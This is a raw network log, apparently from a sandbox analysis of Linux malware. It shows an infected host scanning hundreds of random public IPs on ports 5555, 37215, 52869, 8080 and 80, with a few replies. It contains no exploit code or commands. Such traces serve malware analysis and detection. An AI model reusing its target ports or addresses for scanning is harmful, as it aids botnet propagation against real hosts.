Feb 12, 2023 21:24:46.788177967 CET	22272	5555	192.168.2.23	164.203.149.96
Feb 12, 2023 21:24:46.788180113 CET	22272	5555	192.168.2.23	58.59.94.240
Feb 12, 2023 21:24:46.788187981 CET	22272	5555	192.168.2.23	167.176.217.121
Feb 12, 2023 21:24:46.788194895 CET	22272	5555	192.168.2.23	166.213.126.82
Feb 12, 2023 21:24:46.788194895 CET	22272	5555	192.168.2.23	169.223.46.9
Feb 12, 2023 21:24:46.788201094 CET	22272	5555	192.168.2.23	98.29.42.48
Feb 12, 2023 21:24:46.788202047 CET	22272	5555	192.168.2.23	207.232.120.117
Feb 12, 2023 21:24:46.788209915 CET	22272	5555	192.168.2.23	101.62.18.103
Feb 12, 2023 21:24:46.788209915 CET	22272	5555	192.168.2.23	154.144.250.110
Feb 12, 2023 21:24:46.788209915 CET	22272	5555	192.168.2.23	181.181.213.225
Feb 12, 2023 21:24:46.788230896 CET	22272	5555	192.168.2.23	151.232.226.195
Feb 12, 2023 21:24:46.788232088 CET	22272	5555	192.168.2.23	154.45.23.115
Feb 12, 2023 21:24:46.788232088 CET	22272	5555	192.168.2.23	160.62.20.145
Feb 12, 2023 21:24:46.788300037 CET	22272	5555	192.168.2.23	92.49.44.66
Feb 12, 2023 21:24:46.788346052 CET	22272	5555	192.168.2.23	5.139.86.149
Feb 12, 2023 21:24:46.788356066 CET	22272	5555	192.168.2.23	125.15.251.136
Feb 12, 2023 21:24:46.788357973 CET	22272	5555	192.168.2.23	103.136.212.103
Feb 12, 2023 21:24:46.788379908 CET	22272	5555	192.168.2.23	69.38.91.252
Feb 12, 2023 21:24:46.788386106 CET	22272	5555	192.168.2.23	137.188.238.130
Feb 12, 2023 21:24:46.788398027 CET	22272	5555	192.168.2.23	43.247.62.240
Feb 12, 2023 21:24:46.788408995 CET	22272	5555	192.168.2.23	46.61.247.159
Feb 12, 2023 21:24:46.788420916 CET	22272	5555	192.168.2.23	47.206.56.41
Feb 12, 2023 21:24:46.788423061 CET	22272	5555	192.168.2.23	212.32.66.240
Feb 12, 2023 21:24:46.788454056 CET	22272	5555	192.168.2.23	136.188.70.49
Feb 12, 2023 21:24:46.788464069 CET	22272	5555	192.168.2.23	71.254.170.55
Feb 12, 2023 21:24:46.788570881 CET	22272	5555	192.168.2.23	166.69.152.107
Feb 12, 2023 21:24:46.788579941 CET	22272	5555	192.168.2.23	160.107.209.61
Feb 12, 2023 21:24:46.788595915 CET	22272	5555	192.168.2.23	200.41.8.148
Feb 12, 2023 21:24:46.788614988 CET	22272	5555	192.168.2.23	130.171.45.47
Feb 12, 2023 21:24:46.788640022 CET	22272	5555	192.168.2.23	135.55.138.67
Feb 12, 2023 21:24:46.788661003 CET	22272	5555	192.168.2.23	41.69.34.3
Feb 12, 2023 21:24:46.788682938 CET	22272	5555	192.168.2.23	91.127.138.95
Feb 12, 2023 21:24:46.788686991 CET	22272	5555	192.168.2.23	195.28.245.189
Feb 12, 2023 21:24:46.788686991 CET	22272	5555	192.168.2.23	121.183.50.152
Feb 12, 2023 21:24:46.788707972 CET	22272	5555	192.168.2.23	152.43.58.221
Feb 12, 2023 21:24:46.788727045 CET	22272	5555	192.168.2.23	110.82.204.47
Feb 12, 2023 21:24:46.788732052 CET	22272	5555	192.168.2.23	198.0.39.11
Feb 12, 2023 21:24:46.788746119 CET	22272	5555	192.168.2.23	72.198.69.121
Feb 12, 2023 21:24:46.788755894 CET	22272	5555	192.168.2.23	147.132.91.83
Feb 12, 2023 21:24:46.788765907 CET	22272	5555	192.168.2.23	171.63.243.45
Feb 12, 2023 21:24:46.788775921 CET	22272	5555	192.168.2.23	38.207.81.24
Feb 12, 2023 21:24:46.788794041 CET	22272	5555	192.168.2.23	77.113.249.190
Feb 12, 2023 21:24:46.788810015 CET	22272	5555	192.168.2.23	76.134.33.31
Feb 12, 2023 21:24:46.788820028 CET	22272	5555	192.168.2.23	146.229.166.6
Feb 12, 2023 21:24:46.788831949 CET	22272	5555	192.168.2.23	141.138.164.119
Feb 12, 2023 21:24:46.788841009 CET	22272	5555	192.168.2.23	88.227.139.163
Feb 12, 2023 21:24:46.788857937 CET	22272	5555	192.168.2.23	206.243.5.64
Feb 12, 2023 21:24:46.788872004 CET	22272	5555	192.168.2.23	104.94.44.11
Feb 12, 2023 21:24:46.788885117 CET	22272	5555	192.168.2.23	79.22.255.154
Feb 12, 2023 21:24:46.788888931 CET	22272	5555	192.168.2.23	68.83.28.151
Feb 12, 2023 21:24:46.788893938 CET	22272	5555	192.168.2.23	106.227.16.88
Feb 12, 2023 21:24:46.788914919 CET	22272	5555	192.168.2.23	66.115.140.135
Feb 12, 2023 21:24:46.788933039 CET	22272	5555	192.168.2.23	45.241.217.118
Feb 12, 2023 21:24:46.788937092 CET	22272	5555	192.168.2.23	168.115.155.156
Feb 12, 2023 21:24:46.788949966 CET	22272	5555	192.168.2.23	9.209.165.194
Feb 12, 2023 21:24:46.799767017 CET	39440	52869	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:46.823999882 CET	5555	22272	177.196.128.138	192.168.2.23
Feb 12, 2023 21:24:46.831849098 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:46.937628984 CET	49922	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:46.940367937 CET	58642	80	192.168.2.23	49.46.49.56
Feb 12, 2023 21:24:46.942830086 CET	46248	80	192.168.2.23	51.55.46.54
Feb 12, 2023 21:24:46.945400000 CET	57368	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:46.948266029 CET	49930	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:46.950198889 CET	49396	80	192.168.2.23	50.46.49.57
Feb 12, 2023 21:24:46.959825039 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:47.022912025 CET	52981	37215	192.168.2.23	41.118.64.82
Feb 12, 2023 21:24:47.022912025 CET	52981	37215	192.168.2.23	157.144.196.68
Feb 12, 2023 21:24:47.022945881 CET	52981	37215	192.168.2.23	129.114.101.163
Feb 12, 2023 21:24:47.022983074 CET	52981	37215	192.168.2.23	155.122.222.227
Feb 12, 2023 21:24:47.023008108 CET	52981	37215	192.168.2.23	197.178.20.61
Feb 12, 2023 21:24:47.023008108 CET	52981	37215	192.168.2.23	197.129.36.184
Feb 12, 2023 21:24:47.023011923 CET	52981	37215	192.168.2.23	157.65.254.75
Feb 12, 2023 21:24:47.023011923 CET	52981	37215	192.168.2.23	197.118.103.0
Feb 12, 2023 21:24:47.023020983 CET	52981	37215	192.168.2.23	157.9.111.91
Feb 12, 2023 21:24:47.023022890 CET	52981	37215	192.168.2.23	197.186.145.168
Feb 12, 2023 21:24:47.023022890 CET	52981	37215	192.168.2.23	157.30.78.150
Feb 12, 2023 21:24:47.023020983 CET	52981	37215	192.168.2.23	41.189.176.240
Feb 12, 2023 21:24:47.023022890 CET	52981	37215	192.168.2.23	41.146.235.102
Feb 12, 2023 21:24:47.023022890 CET	52981	37215	192.168.2.23	197.80.202.102
Feb 12, 2023 21:24:47.023022890 CET	52981	37215	192.168.2.23	9.43.199.138
Feb 12, 2023 21:24:47.023056030 CET	52981	37215	192.168.2.23	41.132.47.1
Feb 12, 2023 21:24:47.023056030 CET	52981	37215	192.168.2.23	197.86.92.192
Feb 12, 2023 21:24:47.023056030 CET	52981	37215	192.168.2.23	102.21.156.221
Feb 12, 2023 21:24:47.023056030 CET	52981	37215	192.168.2.23	157.137.40.215
Feb 12, 2023 21:24:47.023058891 CET	52981	37215	192.168.2.23	157.44.108.209
Feb 12, 2023 21:24:47.023065090 CET	52981	37215	192.168.2.23	41.200.63.123
Feb 12, 2023 21:24:47.023066044 CET	52981	37215	192.168.2.23	41.117.6.118
Feb 12, 2023 21:24:47.023077011 CET	52981	37215	192.168.2.23	197.146.49.238
Feb 12, 2023 21:24:47.023077965 CET	52981	37215	192.168.2.23	41.51.141.204
Feb 12, 2023 21:24:47.023077965 CET	52981	37215	192.168.2.23	18.33.241.224
Feb 12, 2023 21:24:47.023081064 CET	52981	37215	192.168.2.23	157.112.225.19
Feb 12, 2023 21:24:47.023085117 CET	52981	37215	192.168.2.23	41.68.73.118
Feb 12, 2023 21:24:47.023085117 CET	52981	37215	192.168.2.23	157.165.163.0
Feb 12, 2023 21:24:47.023085117 CET	52981	37215	192.168.2.23	41.119.100.152
Feb 12, 2023 21:24:47.023081064 CET	52981	37215	192.168.2.23	197.79.119.158
Feb 12, 2023 21:24:47.023117065 CET	52981	37215	192.168.2.23	116.239.107.150
Feb 12, 2023 21:24:47.023127079 CET	52981	37215	192.168.2.23	41.242.30.93
Feb 12, 2023 21:24:47.023127079 CET	52981	37215	192.168.2.23	197.189.198.228
Feb 12, 2023 21:24:47.023133039 CET	52981	37215	192.168.2.23	197.97.23.232
Feb 12, 2023 21:24:47.023133039 CET	52981	37215	192.168.2.23	157.50.182.125
Feb 12, 2023 21:24:47.023133039 CET	52981	37215	192.168.2.23	41.113.28.13
Feb 12, 2023 21:24:47.023133039 CET	52981	37215	192.168.2.23	197.123.250.239
Feb 12, 2023 21:24:47.023137093 CET	52981	37215	192.168.2.23	197.29.114.193
Feb 12, 2023 21:24:47.023138046 CET	52981	37215	192.168.2.23	157.27.208.169
Feb 12, 2023 21:24:47.023137093 CET	52981	37215	192.168.2.23	41.161.126.141
Feb 12, 2023 21:24:47.023137093 CET	52981	37215	192.168.2.23	111.22.206.43
Feb 12, 2023 21:24:47.023148060 CET	52981	37215	192.168.2.23	157.63.183.111
Feb 12, 2023 21:24:47.023148060 CET	52981	37215	192.168.2.23	157.108.149.109
Feb 12, 2023 21:24:47.023148060 CET	52981	37215	192.168.2.23	197.131.114.115
Feb 12, 2023 21:24:47.023148060 CET	52981	37215	192.168.2.23	41.57.30.143
Feb 12, 2023 21:24:47.023169041 CET	52981	37215	192.168.2.23	41.13.254.157
Feb 12, 2023 21:24:47.023164988 CET	52981	37215	192.168.2.23	197.160.80.0
Feb 12, 2023 21:24:47.023169041 CET	52981	37215	192.168.2.23	41.233.184.207
Feb 12, 2023 21:24:47.023164988 CET	52981	37215	192.168.2.23	197.121.253.217
Feb 12, 2023 21:24:47.023174047 CET	52981	37215	192.168.2.23	197.87.94.65
Feb 12, 2023 21:24:47.023174047 CET	52981	37215	192.168.2.23	41.204.155.205
Feb 12, 2023 21:24:47.023192883 CET	52981	37215	192.168.2.23	41.103.90.51
Feb 12, 2023 21:24:47.023192883 CET	52981	37215	192.168.2.23	197.146.21.28
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	187.235.72.201
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	197.63.152.93
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	42.148.88.238
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	88.18.75.153
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	130.43.254.16
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	41.115.171.211
Feb 12, 2023 21:24:47.023211002 CET	52981	37215	192.168.2.23	41.230.231.72
Feb 12, 2023 21:24:47.023200989 CET	52981	37215	192.168.2.23	197.118.153.53
Feb 12, 2023 21:24:47.023225069 CET	52981	37215	192.168.2.23	157.109.54.253
Feb 12, 2023 21:24:47.023232937 CET	52981	37215	192.168.2.23	194.174.152.211
Feb 12, 2023 21:24:47.023232937 CET	52981	37215	192.168.2.23	41.253.57.185
Feb 12, 2023 21:24:47.023233891 CET	52981	37215	192.168.2.23	172.143.181.44
Feb 12, 2023 21:24:47.023233891 CET	52981	37215	192.168.2.23	41.228.204.113
Feb 12, 2023 21:24:47.023232937 CET	52981	37215	192.168.2.23	197.78.167.10
Feb 12, 2023 21:24:47.023233891 CET	52981	37215	192.168.2.23	197.105.58.38
Feb 12, 2023 21:24:47.023232937 CET	52981	37215	192.168.2.23	45.246.112.221
Feb 12, 2023 21:24:47.023240089 CET	52981	37215	192.168.2.23	191.154.173.209
Feb 12, 2023 21:24:47.023225069 CET	52981	37215	192.168.2.23	197.149.68.205
Feb 12, 2023 21:24:47.023241997 CET	52981	37215	192.168.2.23	41.66.170.83
Feb 12, 2023 21:24:47.023225069 CET	52981	37215	192.168.2.23	197.108.252.198
Feb 12, 2023 21:24:47.023242950 CET	52981	37215	192.168.2.23	197.143.16.65
Feb 12, 2023 21:24:47.023243904 CET	52981	37215	192.168.2.23	157.235.144.199
Feb 12, 2023 21:24:47.023242950 CET	52981	37215	192.168.2.23	14.3.255.210
Feb 12, 2023 21:24:47.023243904 CET	52981	37215	192.168.2.23	41.143.241.211
Feb 12, 2023 21:24:47.023243904 CET	52981	37215	192.168.2.23	41.246.90.12
Feb 12, 2023 21:24:47.023225069 CET	52981	37215	192.168.2.23	41.95.76.126
Feb 12, 2023 21:24:47.023243904 CET	52981	37215	192.168.2.23	157.238.28.243
Feb 12, 2023 21:24:47.023225069 CET	52981	37215	192.168.2.23	41.59.229.132
Feb 12, 2023 21:24:47.023243904 CET	52981	37215	192.168.2.23	80.48.177.253
Feb 12, 2023 21:24:47.023269892 CET	52981	37215	192.168.2.23	41.11.78.144
Feb 12, 2023 21:24:47.023269892 CET	52981	37215	192.168.2.23	41.156.136.99
Feb 12, 2023 21:24:47.023297071 CET	52981	37215	192.168.2.23	197.201.61.255
Feb 12, 2023 21:24:47.023297071 CET	52981	37215	192.168.2.23	197.101.168.82
Feb 12, 2023 21:24:47.023308039 CET	52981	37215	192.168.2.23	157.133.213.80
Feb 12, 2023 21:24:47.023297071 CET	52981	37215	192.168.2.23	41.68.236.198
Feb 12, 2023 21:24:47.023313046 CET	52981	37215	192.168.2.23	157.9.194.43
Feb 12, 2023 21:24:47.023313046 CET	52981	37215	192.168.2.23	197.2.220.40
Feb 12, 2023 21:24:47.023320913 CET	52981	37215	192.168.2.23	41.188.241.22
Feb 12, 2023 21:24:47.023320913 CET	52981	37215	192.168.2.23	197.86.14.74
Feb 12, 2023 21:24:47.023320913 CET	52981	37215	192.168.2.23	157.247.18.15
Feb 12, 2023 21:24:47.023323059 CET	52981	37215	192.168.2.23	157.247.84.138
Feb 12, 2023 21:24:47.023320913 CET	52981	37215	192.168.2.23	157.155.27.178
Feb 12, 2023 21:24:47.023323059 CET	52981	37215	192.168.2.23	157.167.34.56
Feb 12, 2023 21:24:47.023322105 CET	52981	37215	192.168.2.23	197.137.116.212
Feb 12, 2023 21:24:47.023323059 CET	52981	37215	192.168.2.23	197.141.139.219
Feb 12, 2023 21:24:47.023322105 CET	52981	37215	192.168.2.23	43.44.103.211
Feb 12, 2023 21:24:47.023334980 CET	52981	37215	192.168.2.23	157.29.144.102
Feb 12, 2023 21:24:47.023334980 CET	52981	37215	192.168.2.23	41.102.14.214
Feb 12, 2023 21:24:47.023334980 CET	52981	37215	192.168.2.23	87.136.91.75
Feb 12, 2023 21:24:47.023334980 CET	52981	37215	192.168.2.23	41.91.162.144
Feb 12, 2023 21:24:47.023334980 CET	52981	37215	192.168.2.23	41.216.210.62
Feb 12, 2023 21:24:47.023344994 CET	52981	37215	192.168.2.23	41.97.183.2
Feb 12, 2023 21:24:47.023344994 CET	52981	37215	192.168.2.23	143.181.95.88
Feb 12, 2023 21:24:47.023360014 CET	52981	37215	192.168.2.23	195.210.252.187
Feb 12, 2023 21:24:47.023360968 CET	52981	37215	192.168.2.23	197.3.49.11
Feb 12, 2023 21:24:47.023360968 CET	52981	37215	192.168.2.23	41.51.67.37
Feb 12, 2023 21:24:47.023360968 CET	52981	37215	192.168.2.23	157.126.180.72
Feb 12, 2023 21:24:47.023365021 CET	52981	37215	192.168.2.23	49.202.246.27
Feb 12, 2023 21:24:47.023360968 CET	52981	37215	192.168.2.23	193.213.81.102
Feb 12, 2023 21:24:47.023365021 CET	52981	37215	192.168.2.23	157.25.57.227
Feb 12, 2023 21:24:47.023360968 CET	52981	37215	192.168.2.23	41.88.199.157
Feb 12, 2023 21:24:47.023367882 CET	52981	37215	192.168.2.23	157.239.176.200
Feb 12, 2023 21:24:47.023367882 CET	52981	37215	192.168.2.23	157.4.47.237
Feb 12, 2023 21:24:47.023391962 CET	52981	37215	192.168.2.23	191.89.24.216
Feb 12, 2023 21:24:47.023396015 CET	52981	37215	192.168.2.23	41.176.157.49
Feb 12, 2023 21:24:47.023396969 CET	52981	37215	192.168.2.23	221.48.53.212
Feb 12, 2023 21:24:47.023405075 CET	52981	37215	192.168.2.23	157.10.85.167
Feb 12, 2023 21:24:47.023413897 CET	52981	37215	192.168.2.23	157.232.104.186
Feb 12, 2023 21:24:47.023418903 CET	52981	37215	192.168.2.23	158.217.191.171
Feb 12, 2023 21:24:47.023418903 CET	52981	37215	192.168.2.23	107.175.90.252
Feb 12, 2023 21:24:47.023418903 CET	52981	37215	192.168.2.23	41.49.143.123
Feb 12, 2023 21:24:47.023436069 CET	52981	37215	192.168.2.23	157.220.241.40
Feb 12, 2023 21:24:47.023436069 CET	52981	37215	192.168.2.23	197.93.102.189
Feb 12, 2023 21:24:47.023436069 CET	52981	37215	192.168.2.23	219.128.115.95
Feb 12, 2023 21:24:47.023447990 CET	52981	37215	192.168.2.23	157.191.181.90
Feb 12, 2023 21:24:47.023458958 CET	52981	37215	192.168.2.23	71.237.30.166
Feb 12, 2023 21:24:47.023459911 CET	52981	37215	192.168.2.23	41.251.129.22
Feb 12, 2023 21:24:47.023462057 CET	52981	37215	192.168.2.23	41.87.124.214
Feb 12, 2023 21:24:47.023459911 CET	52981	37215	192.168.2.23	41.250.151.85
Feb 12, 2023 21:24:47.023459911 CET	52981	37215	192.168.2.23	197.223.156.160
Feb 12, 2023 21:24:47.023459911 CET	52981	37215	192.168.2.23	157.251.224.197
Feb 12, 2023 21:24:47.023459911 CET	52981	37215	192.168.2.23	173.187.161.40
Feb 12, 2023 21:24:47.023534060 CET	52981	37215	192.168.2.23	157.28.22.229
Feb 12, 2023 21:24:47.023534060 CET	52981	37215	192.168.2.23	109.116.19.162
Feb 12, 2023 21:24:47.023534060 CET	52981	37215	192.168.2.23	41.41.248.168
Feb 12, 2023 21:24:47.023534060 CET	52981	37215	192.168.2.23	197.191.178.91
Feb 12, 2023 21:24:47.023562908 CET	52981	37215	192.168.2.23	84.43.160.242
Feb 12, 2023 21:24:47.023565054 CET	52981	37215	192.168.2.23	41.91.138.71
Feb 12, 2023 21:24:47.023562908 CET	52981	37215	192.168.2.23	157.175.55.85
Feb 12, 2023 21:24:47.023562908 CET	52981	37215	192.168.2.23	197.7.5.221
Feb 12, 2023 21:24:47.023570061 CET	52981	37215	192.168.2.23	199.12.85.60
Feb 12, 2023 21:24:47.023571968 CET	52981	37215	192.168.2.23	197.81.74.205
Feb 12, 2023 21:24:47.023571968 CET	52981	37215	192.168.2.23	197.86.96.191
Feb 12, 2023 21:24:47.023572922 CET	52981	37215	192.168.2.23	41.11.249.119
Feb 12, 2023 21:24:47.023577929 CET	52981	37215	192.168.2.23	197.122.34.167
Feb 12, 2023 21:24:47.023585081 CET	52981	37215	192.168.2.23	157.182.200.117
Feb 12, 2023 21:24:47.023585081 CET	52981	37215	192.168.2.23	157.117.121.189
Feb 12, 2023 21:24:47.023585081 CET	52981	37215	192.168.2.23	197.137.35.230
Feb 12, 2023 21:24:47.023585081 CET	52981	37215	192.168.2.23	41.240.166.37
Feb 12, 2023 21:24:47.023588896 CET	52981	37215	192.168.2.23	41.80.214.124
Feb 12, 2023 21:24:47.023588896 CET	52981	37215	192.168.2.23	68.56.86.236
Feb 12, 2023 21:24:47.023591042 CET	52981	37215	192.168.2.23	132.235.67.43
Feb 12, 2023 21:24:47.023592949 CET	52981	37215	192.168.2.23	41.123.247.10
Feb 12, 2023 21:24:47.023610115 CET	52981	37215	192.168.2.23	41.81.137.134
Feb 12, 2023 21:24:47.023642063 CET	52981	37215	192.168.2.23	45.197.17.129
Feb 12, 2023 21:24:47.023642063 CET	52981	37215	192.168.2.23	41.122.144.243
Feb 12, 2023 21:24:47.023643017 CET	52981	37215	192.168.2.23	157.118.85.194
Feb 12, 2023 21:24:47.023643017 CET	52981	37215	192.168.2.23	49.241.109.123
Feb 12, 2023 21:24:47.023652077 CET	52981	37215	192.168.2.23	194.209.120.49
Feb 12, 2023 21:24:47.023663998 CET	52981	37215	192.168.2.23	197.83.188.100
Feb 12, 2023 21:24:47.023684025 CET	52981	37215	192.168.2.23	197.181.169.109
Feb 12, 2023 21:24:47.023689985 CET	52981	37215	192.168.2.23	149.239.199.250
Feb 12, 2023 21:24:47.023699045 CET	52981	37215	192.168.2.23	197.18.129.106
Feb 12, 2023 21:24:47.023711920 CET	52981	37215	192.168.2.23	41.4.152.27
Feb 12, 2023 21:24:47.023767948 CET	51534	49152	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:47.023777962 CET	52981	37215	192.168.2.23	41.215.209.28
Feb 12, 2023 21:24:47.023787022 CET	52981	37215	192.168.2.23	41.197.39.203
Feb 12, 2023 21:24:47.023813009 CET	52981	37215	192.168.2.23	197.11.187.72
Feb 12, 2023 21:24:47.023813963 CET	52981	37215	192.168.2.23	41.116.102.151
Feb 12, 2023 21:24:47.023824930 CET	52981	37215	192.168.2.23	157.95.218.41
Feb 12, 2023 21:24:47.023824930 CET	52981	37215	192.168.2.23	157.145.245.50
Feb 12, 2023 21:24:47.023830891 CET	52981	37215	192.168.2.23	41.30.240.139
Feb 12, 2023 21:24:47.023857117 CET	52981	37215	192.168.2.23	197.46.17.95
Feb 12, 2023 21:24:47.023871899 CET	52981	37215	192.168.2.23	41.206.114.125
Feb 12, 2023 21:24:47.023875952 CET	52981	37215	192.168.2.23	41.98.193.42
Feb 12, 2023 21:24:47.023875952 CET	52981	37215	192.168.2.23	157.50.180.44
Feb 12, 2023 21:24:47.023884058 CET	52981	37215	192.168.2.23	197.201.143.237
Feb 12, 2023 21:24:47.023909092 CET	52981	37215	192.168.2.23	197.6.232.20
Feb 12, 2023 21:24:47.023912907 CET	52981	37215	192.168.2.23	107.78.144.149
Feb 12, 2023 21:24:47.023938894 CET	52981	37215	192.168.2.23	157.143.255.172
Feb 12, 2023 21:24:47.023947954 CET	52981	37215	192.168.2.23	154.203.50.117
Feb 12, 2023 21:24:47.023947954 CET	52981	37215	192.168.2.23	197.141.103.78
Feb 12, 2023 21:24:47.023982048 CET	52981	37215	192.168.2.23	179.88.142.152
Feb 12, 2023 21:24:47.023992062 CET	52981	37215	192.168.2.23	157.166.11.71
Feb 12, 2023 21:24:47.023997068 CET	52981	37215	192.168.2.23	157.91.184.52
Feb 12, 2023 21:24:47.024003983 CET	52981	37215	192.168.2.23	197.57.228.223
Feb 12, 2023 21:24:47.024019957 CET	52981	37215	192.168.2.23	27.210.250.99
Feb 12, 2023 21:24:47.024029016 CET	52981	37215	192.168.2.23	41.114.156.106
Feb 12, 2023 21:24:47.024044991 CET	52981	37215	192.168.2.23	157.236.139.77
Feb 12, 2023 21:24:47.024070024 CET	52981	37215	192.168.2.23	41.14.177.95
Feb 12, 2023 21:24:47.024089098 CET	52981	37215	192.168.2.23	34.127.7.49
Feb 12, 2023 21:24:47.024089098 CET	52981	37215	192.168.2.23	157.11.41.197
Feb 12, 2023 21:24:47.024101973 CET	52981	37215	192.168.2.23	197.187.119.75
Feb 12, 2023 21:24:47.024101973 CET	52981	37215	192.168.2.23	128.210.195.99
Feb 12, 2023 21:24:47.024102926 CET	52981	37215	192.168.2.23	84.56.78.173
Feb 12, 2023 21:24:47.024142027 CET	52981	37215	192.168.2.23	41.82.85.214
Feb 12, 2023 21:24:47.024153948 CET	52981	37215	192.168.2.23	157.106.235.29
Feb 12, 2023 21:24:47.024158955 CET	52981	37215	192.168.2.23	9.50.71.153
Feb 12, 2023 21:24:47.024168015 CET	52981	37215	192.168.2.23	151.7.216.111
Feb 12, 2023 21:24:47.024180889 CET	52981	37215	192.168.2.23	157.236.111.161
Feb 12, 2023 21:24:47.024192095 CET	52981	37215	192.168.2.23	151.96.99.251
Feb 12, 2023 21:24:47.024205923 CET	52981	37215	192.168.2.23	197.39.82.212
Feb 12, 2023 21:24:47.024239063 CET	52981	37215	192.168.2.23	197.247.114.150
Feb 12, 2023 21:24:47.024250031 CET	52981	37215	192.168.2.23	157.94.44.96
Feb 12, 2023 21:24:47.024250031 CET	52981	37215	192.168.2.23	41.176.127.68
Feb 12, 2023 21:24:47.024265051 CET	52981	37215	192.168.2.23	197.200.228.242
Feb 12, 2023 21:24:47.024291039 CET	52981	37215	192.168.2.23	157.62.248.231
Feb 12, 2023 21:24:47.024318933 CET	52981	37215	192.168.2.23	41.0.157.70
Feb 12, 2023 21:24:47.024333000 CET	52981	37215	192.168.2.23	109.171.91.213
Feb 12, 2023 21:24:47.024353981 CET	52981	37215	192.168.2.23	170.47.27.128
Feb 12, 2023 21:24:47.024365902 CET	52981	37215	192.168.2.23	157.154.195.80
Feb 12, 2023 21:24:47.024373055 CET	52981	37215	192.168.2.23	41.220.32.154
Feb 12, 2023 21:24:47.024385929 CET	52981	37215	192.168.2.23	197.254.238.146
Feb 12, 2023 21:24:47.024385929 CET	52981	37215	192.168.2.23	157.133.169.97
Feb 12, 2023 21:24:47.024414062 CET	52981	37215	192.168.2.23	197.217.91.17
Feb 12, 2023 21:24:47.024416924 CET	52981	37215	192.168.2.23	157.201.225.162
Feb 12, 2023 21:24:47.024442911 CET	52981	37215	192.168.2.23	41.176.174.239
Feb 12, 2023 21:24:47.024466038 CET	52981	37215	192.168.2.23	76.203.233.46
Feb 12, 2023 21:24:47.024466991 CET	52981	37215	192.168.2.23	41.223.230.154
Feb 12, 2023 21:24:47.024488926 CET	52981	37215	192.168.2.23	41.68.174.181
Feb 12, 2023 21:24:47.024522066 CET	52981	37215	192.168.2.23	41.144.152.58
Feb 12, 2023 21:24:47.024523973 CET	52981	37215	192.168.2.23	41.104.38.53
Feb 12, 2023 21:24:47.024543047 CET	52981	37215	192.168.2.23	84.99.35.199
Feb 12, 2023 21:24:47.024549007 CET	52981	37215	192.168.2.23	197.112.151.29
Feb 12, 2023 21:24:47.024557114 CET	52981	37215	192.168.2.23	157.223.65.81
Feb 12, 2023 21:24:47.024580956 CET	52981	37215	192.168.2.23	164.29.35.160
Feb 12, 2023 21:24:47.024602890 CET	52981	37215	192.168.2.23	41.116.172.215
Feb 12, 2023 21:24:47.024619102 CET	52981	37215	192.168.2.23	197.62.15.188
Feb 12, 2023 21:24:47.024632931 CET	52981	37215	192.168.2.23	157.108.56.164
Feb 12, 2023 21:24:47.024637938 CET	52981	37215	192.168.2.23	197.225.136.148
Feb 12, 2023 21:24:47.024648905 CET	52981	37215	192.168.2.23	157.231.246.187
Feb 12, 2023 21:24:47.024656057 CET	52981	37215	192.168.2.23	41.13.215.175
Feb 12, 2023 21:24:47.024668932 CET	52981	37215	192.168.2.23	41.247.56.39
Feb 12, 2023 21:24:47.024681091 CET	52981	37215	192.168.2.23	41.195.230.10
Feb 12, 2023 21:24:47.024697065 CET	52981	37215	192.168.2.23	41.230.241.119
Feb 12, 2023 21:24:47.024720907 CET	52981	37215	192.168.2.23	157.97.68.151
Feb 12, 2023 21:24:47.024728060 CET	52981	37215	192.168.2.23	41.137.204.34
Feb 12, 2023 21:24:47.024753094 CET	52981	37215	192.168.2.23	197.153.232.30
Feb 12, 2023 21:24:47.024760962 CET	52981	37215	192.168.2.23	41.240.67.56
Feb 12, 2023 21:24:47.024777889 CET	52981	37215	192.168.2.23	135.219.254.123
Feb 12, 2023 21:24:47.024810076 CET	52981	37215	192.168.2.23	197.194.4.142
Feb 12, 2023 21:24:47.024820089 CET	52981	37215	192.168.2.23	157.247.163.188
Feb 12, 2023 21:24:47.024827003 CET	52981	37215	192.168.2.23	41.198.88.127
Feb 12, 2023 21:24:47.024832964 CET	52981	37215	192.168.2.23	157.80.9.211
Feb 12, 2023 21:24:47.024854898 CET	52981	37215	192.168.2.23	157.139.96.219
Feb 12, 2023 21:24:47.024887085 CET	52981	37215	192.168.2.23	157.58.132.214
Feb 12, 2023 21:24:47.024894953 CET	52981	37215	192.168.2.23	181.119.76.35
Feb 12, 2023 21:24:47.024893999 CET	52981	37215	192.168.2.23	41.84.211.252
Feb 12, 2023 21:24:47.024894953 CET	52981	37215	192.168.2.23	61.78.151.214
Feb 12, 2023 21:24:47.024894953 CET	52981	37215	192.168.2.23	157.20.254.214
Feb 12, 2023 21:24:47.024940968 CET	52981	37215	192.168.2.23	132.181.215.1
Feb 12, 2023 21:24:47.024943113 CET	52981	37215	192.168.2.23	131.111.203.75
Feb 12, 2023 21:24:47.024940968 CET	52981	37215	192.168.2.23	110.199.94.40
Feb 12, 2023 21:24:47.024955034 CET	52981	37215	192.168.2.23	157.161.30.1
Feb 12, 2023 21:24:47.060326099 CET	5555	22272	121.130.191.183	192.168.2.23
Feb 12, 2023 21:24:47.087924004 CET	58516	8080	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:47.087924004 CET	54366	8080	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:47.087960005 CET	55474	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:47.090734005 CET	5555	22272	60.121.62.118	192.168.2.23
Feb 12, 2023 21:24:47.119868040 CET	36732	8080	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:47.119894981 CET	40794	8080	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:47.144933939 CET	37215	52981	107.175.90.252	192.168.2.23
Feb 12, 2023 21:24:47.148946047 CET	37215	52981	197.131.114.115	192.168.2.23
Feb 12, 2023 21:24:47.149112940 CET	37215	52981	197.131.114.115	192.168.2.23
Feb 12, 2023 21:24:47.149183035 CET	52981	37215	192.168.2.23	197.131.114.115
